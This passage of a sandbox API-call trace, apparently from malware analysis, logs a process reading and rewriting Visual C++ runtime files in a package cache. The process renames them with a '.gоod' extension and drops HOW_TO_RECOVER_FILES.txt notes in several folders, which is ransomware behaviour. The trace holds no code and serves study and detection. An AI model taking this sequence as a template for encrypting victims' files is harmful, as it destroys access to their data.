lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0077.529] GetFileType (hFile=0x760) returned 0x1 [0077.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0077.529] GetFileType (hFile=0x760) returned 0x1 [0077.529] ReadFile (in: hFile=0x760, lpBuffer=0x3417e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3417e40*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0077.662] CloseHandle (hObject=0x760) returned 1 [0077.662] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0077.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0077.662] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0077.662] GetFileType (hFile=0x760) returned 0x1 [0077.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0077.662] GetFileType (hFile=0x760) returned 0x1 [0077.662] WriteFile (in: hFile=0x760, lpBuffer=0x3416b38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3416b38*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0077.663] CloseHandle (hObject=0x760) returned 1 [0078.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0078.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7f [0078.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0078.178] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x2acf325f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x588134)) returned 1 [0078.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0078.178] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.gоod")) returned 1 [0078.179] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0078.179] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x313c940 | out: lpFileInformation=0x313c940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0078.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0078.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0078.180] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0078.180] GetFileType (hFile=0x760) returned 0x1 [0078.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0078.180] GetFileType (hFile=0x760) returned 0x1 [0078.180] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0078.180] ReadFile (in: hFile=0x760, lpBuffer=0x313ceb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x313ceb8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0078.344] CloseHandle (hObject=0x760) returned 1 [0078.345] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0078.345] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0078.345] GetFileType (hFile=0x760) returned 0x1 [0078.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0078.345] GetFileType (hFile=0x760) returned 0x1 [0078.345] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x25000 [0078.345] WriteFile (in: hFile=0x760, lpBuffer=0x330bb80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x330bb80*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0078.345] CloseHandle (hObject=0x760) returned 1 [0078.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0078.369] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0078.369] GetFileType (hFile=0x760) returned 0x1 [0078.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0078.369] GetFileType (hFile=0x760) returned 0x1 [0078.369] ReadFile (in: hFile=0x760, lpBuffer=0x330df90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x330df90*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0078.751] CloseHandle (hObject=0x760) returned 1 [0078.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0078.752] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0078.752] GetFileType (hFile=0x760) returned 0x1 [0078.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0078.752] GetFileType (hFile=0x760) returned 0x1 [0078.752] WriteFile (in: hFile=0x760, lpBuffer=0x3142a78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3142a78*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0078.752] CloseHandle (hObject=0x760) returned 1 [0078.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0078.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", lpFilePart=0x0) returned 0x93 [0078.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0078.757] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x2b2921d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010)) returned 1 [0078.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0078.758] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.gоod")) returned 1 [0078.758] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0078.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0078.758] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0078.760] GetFileType (hFile=0x760) returned 0x1 [0078.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0078.760] GetFileType (hFile=0x760) returned 0x1 [0078.761] WriteFile (in: hFile=0x760, lpBuffer=0x32bfbc8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x32bfbc8*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0078.762] CloseHandle (hObject=0x760) returned 1 [0078.763] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0078.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0078.763] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0078.763] GetFileType (hFile=0x760) returned 0x1 [0078.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0078.764] GetFileType (hFile=0x760) returned 0x1 [0078.764] WriteFile (in: hFile=0x760, lpBuffer=0x32c3500*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x32c3500*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0078.765] CloseHandle (hObject=0x760) returned 1 [0078.766] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0078.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0078.766] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0078.766] GetFileType (hFile=0x760) returned 0x1 [0078.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0078.766] GetFileType (hFile=0x760) returned 0x1 [0078.767] WriteFile (in: hFile=0x760, lpBuffer=0x32c6de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32c6de8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0078.768] CloseHandle (hObject=0x760) returned 1 [0078.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0078.768] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x43 [0078.768] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0078.769] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0078.770] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0078.770] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0078.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0078.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0078.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0078.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x43 [0078.770] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0078.770] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.770] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.771] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, 